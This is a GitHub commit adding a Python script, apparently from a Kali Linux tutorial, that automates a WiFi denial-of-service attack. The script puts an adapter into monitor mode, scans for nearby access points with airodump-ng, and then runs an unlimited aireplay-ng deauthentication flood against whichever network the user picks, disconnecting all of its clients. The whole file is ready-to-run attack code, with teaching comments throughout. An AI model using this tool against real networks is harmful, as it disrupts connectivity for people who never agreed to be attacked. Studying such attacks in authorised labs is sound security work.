Skip to content

Commit c323239

Browse files
authored
Create wifi_dos_type2.py
1 parent c7ec88c commit c323239

File tree

1 file changed

+193
-0
lines changed

1 file changed

+193
-0
lines changed

wifi_dos_type2.py

Lines changed: 193 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,193 @@
1+
# We will be using the subprocess module to run commands on Kali Linux.
2+
import subprocess
3+
# We will require regular expressions.
4+
import re
5+
# We want to open the CSV files generated by airmon-ng, and we'll use the built-in csv module.
6+
import csv
7+
# We want to import os because we want to check for sudo
8+
import os
9+
# We want to use time.sleep()
10+
import time
11+
# We want to move .csv files in the folder if we found any. We'll use shutil for that.
12+
import shutil
13+
# Create a timestamp for .csv filename
14+
from datetime import datetime
15+
16+
# We declare an empty list where all active wireless networks will be saved to.
17+
active_wireless_networks = []
18+
19+
# We use this function to test if the ESSID is already in the list file.
20+
# If so we return False so we don't add it again.
21+
# If it is not in the lst we return True which will instruct the elif
22+
# statement to add it to the lst.
23+
def check_for_essid(essid, lst):
24+
check_status = True
25+
26+
# If no ESSIDs in list add the row
27+
if len(lst) == 0:
28+
return check_status
29+
30+
# This will only run if there are wireless access points in the list.
31+
for item in lst:
32+
# If True don't add to list. False will add it to list
33+
if essid in item["ESSID"]:
34+
check_status = False
35+
36+
return check_status
37+
38+
# Basic user interface header
39+
print(r"""______ _ _ ______ _ _
40+
| _ \ (_) | | | ___ \ | | | |
41+
| | | |__ ___ ___ __| | | |_/ / ___ _ __ ___ | |__ __ _| |
42+
| | | / _` \ \ / / |/ _` | | ___ \/ _ \| '_ ` _ \| '_ \ / _` | |
43+
| |/ / (_| |\ V /| | (_| | | |_/ / (_) | | | | | | |_) | (_| | |
44+
|___/ \__,_| \_/ |_|\__,_| \____/ \___/|_| |_| |_|_.__/ \__,_|_|""")
45+
print("\n****************************************************************")
46+
print("\n* Copyright of David Bombal, 2021 *")
47+
print("\n* https://www.davidbombal.com *")
48+
print("\n* https://www.youtube.com/davidbombal *")
49+
print("\n****************************************************************")
50+
51+
52+
# If the user doesn't run the program with super user privileges, don't allow them to continue.
53+
if not 'SUDO_UID' in os.environ.keys():
54+
print("Try running this program with sudo.")
55+
exit()
56+
57+
# Move all .csv files in the directory to a backup folder.
58+
for file_name in os.listdir():
59+
# We should only have one csv file as we delete them from the folder every time we run the program.
60+
if ".csv" in file_name:
61+
print("There shouldn't be any .csv files in your directory. We found .csv files in your directory.")
62+
# We get the current working directory.
63+
directory = os.getcwd()
64+
try:
65+
# We make a new directory called /backup
66+
os.mkdir(directory + "/backup/")
67+
except:
68+
print("Backup folder exists.")
69+
# Create a timestamp
70+
timestamp = datetime.now()
71+
# We copy any .csv files in the folder to the backup folder.
72+
shutil.move(file_name, directory + "/backup/" + str(timestamp) + "-" + file_name)
73+
74+
# Regex to find wireless interfaces, we're making the assumption they will all be wlan0 or higher.
75+
wlan_pattern = re.compile("^wlan[0-9]+")
76+
77+
# Python allows is to run system commands by using a function provided by the subprocess module.
78+
# subprocess.run(<list of command line arguments goes here>, <specify if you want the capture_output to be True>)
79+
# We want to capture the output. The output will be in standard UTF-8 and will decode it.
80+
# The script is the parent process and creates a child process which runs the system command, and will only continue once the child process has completed.
81+
# We run the iwconfig command to look for wireless interfaces.
82+
check_wifi_result = wlan_pattern.findall(subprocess.run(["iwconfig"], capture_output=True).stdout.decode())
83+
84+
# No WiFi Adapter connected.
85+
if len(check_wifi_result) == 0:
86+
print("Please connect a WiFi controller and try again.")
87+
exit()
88+
89+
# Menu to select WiFi interface from
90+
print("The following WiFi interfaces are available:")
91+
for index, item in enumerate(check_wifi_result):
92+
print(f"{index} - {item}")
93+
94+
# Ensure the WiFi interface selected is valid. Simple menu with interfaces to select from.
95+
while True:
96+
wifi_interface_choice = input("Please select the interface you want to use for the attack: ")
97+
try:
98+
if check_wifi_result[int(wifi_interface_choice)]:
99+
break
100+
except:
101+
print("Please enter a number that corresponds with the choices.")
102+
103+
# For easy reference we call the picked interface hacknic
104+
hacknic = check_wifi_result[int(wifi_interface_choice)]
105+
106+
# Kill conflicting WiFi processses
107+
print("WiFi adapter connected!\nNow let's kill conflicting processes:")
108+
109+
# subprocess.run(<list of command line arguments goes here>)
110+
# The script is the parent process and creates a child process which runs the system command, and will only continue once the child process has completed.
111+
# We run the iwconfig command to look for wireless interfaces.
112+
# Killing all conflicting processes using airmon-ng
113+
kill_confilict_processes = subprocess.run(["sudo", "airmon-ng", "check", "kill"])
114+
115+
# Put wireless in Monitored mode
116+
print("Putting Wifi adapter into monitored mode:")
117+
put_in_monitored_mode = subprocess.run(["sudo", "airmon-ng", "start", hacknic])
118+
119+
# subprocess.Popen(<list of command line arguments goes here>)
120+
# The Popen method opens a pipe from a command. The output is an open file that can be accessed by other programs.
121+
# We run the iwconfig command to look for wireless interfaces.
122+
# Discover access points
123+
discover_access_points = subprocess.Popen(["sudo", "airodump-ng","-w" ,"file","--write-interval", "1","--output-format", "csv", check_wifi_result[0] + "mon"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
124+
125+
# Loop that shows the wireless access points. We use a try except block and we will quit the loop by pressing ctrl-c.
126+
try:
127+
while True:
128+
# We want to clear the screen before we print the network interfaces.
129+
subprocess.call("clear", shell=True)
130+
for file_name in os.listdir():
131+
# We should only have one csv file as we backup all previous csv files from the folder every time we run the program.
132+
# The following list contains the field names for the csv entries.
133+
fieldnames = ['BSSID', 'First_time_seen', 'Last_time_seen', 'channel', 'Speed', 'Privacy', 'Cipher', 'Authentication', 'Power', 'beacons', 'IV', 'LAN_IP', 'ID_length', 'ESSID', 'Key']
134+
if ".csv" in file_name:
135+
with open(file_name) as csv_h:
136+
# We use the DictReader method and tell it to take the csv_h contents and then apply the dictionary with the fieldnames we specified above.
137+
# This creates a list of dictionaries with the keys as specified in the fieldnames.
138+
csv_h.seek(0)
139+
csv_reader = csv.DictReader(csv_h, fieldnames=fieldnames)
140+
for row in csv_reader:
141+
if row["BSSID"] == "BSSID":
142+
pass
143+
elif row["BSSID"] == "Station MAC":
144+
break
145+
elif check_for_essid(row["ESSID"], active_wireless_networks):
146+
active_wireless_networks.append(row)
147+
148+
print("Scanning. Press Ctrl+C when you want to select which wireless network you want to attack.\n")
149+
print("No |\tBSSID |\tChannel|\tESSID |")
150+
print("___|\t___________________|\t_______|\t______________________________|")
151+
for index, item in enumerate(active_wireless_networks):
152+
# We're using the print statement with an f-string.
153+
# F-strings are a more intuitive way to include variables when printing strings,
154+
# rather than ugly concatenations.
155+
print(f"{index}\t{item['BSSID']}\t{item['channel'].strip()}\t\t{item['ESSID']}")
156+
# We make the script sleep for 1 second before loading the updated list.
157+
time.sleep(1)
158+
159+
except KeyboardInterrupt:
160+
print("\nReady to make choice.")
161+
162+
# Ensure that the input choice is valid.
163+
while True:
164+
choice = input("Please select a choice from above: ")
165+
try:
166+
if active_wireless_networks[int(choice)]:
167+
break
168+
except:
169+
print("Please try again.")
170+
171+
# To make it easier to work with we assign the results to variables.
172+
hackbssid = active_wireless_networks[int(choice)]["BSSID"]
173+
hackchannel = active_wireless_networks[int(choice)]["channel"].strip()
174+
175+
# Change to the channel we want to perform the DOS attack on.
176+
# Monitoring takes place on a different channel and we need to set it to that channel.
177+
subprocess.run(["airmon-ng", "start", hacknic + "mon", hackchannel])
178+
179+
# Deauthenticate clients. We run it with Popen and we send the output to subprocess.DEVNULL and the errors to subprocess.DEVNULL. We will thus run deauthenticate in the background.
180+
subprocess.Popen(["aireplay-ng", "--deauth", "0", "-a", hackbssid, check_wifi_result[int(wifi_interface_choice)] + "mon"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
181+
182+
# We run an infinite loop which you can quit by presses ctrl-c. The deauthentication will stop when we stop the script.
183+
try:
184+
while True:
185+
print("Deauthenticating clients, press ctrl-c to stop")
186+
except KeyboardInterrupt:
187+
print("Stop monitoring mode")
188+
# We run a subprocess.run command where we stop monitoring mode on the network adapter.
189+
subprocess.run(["airmon-ng", "stop", hacknic + "mon"])
190+
print("Thank you! Exiting now")
191+
192+
193+

0 commit comments

Comments
 (0)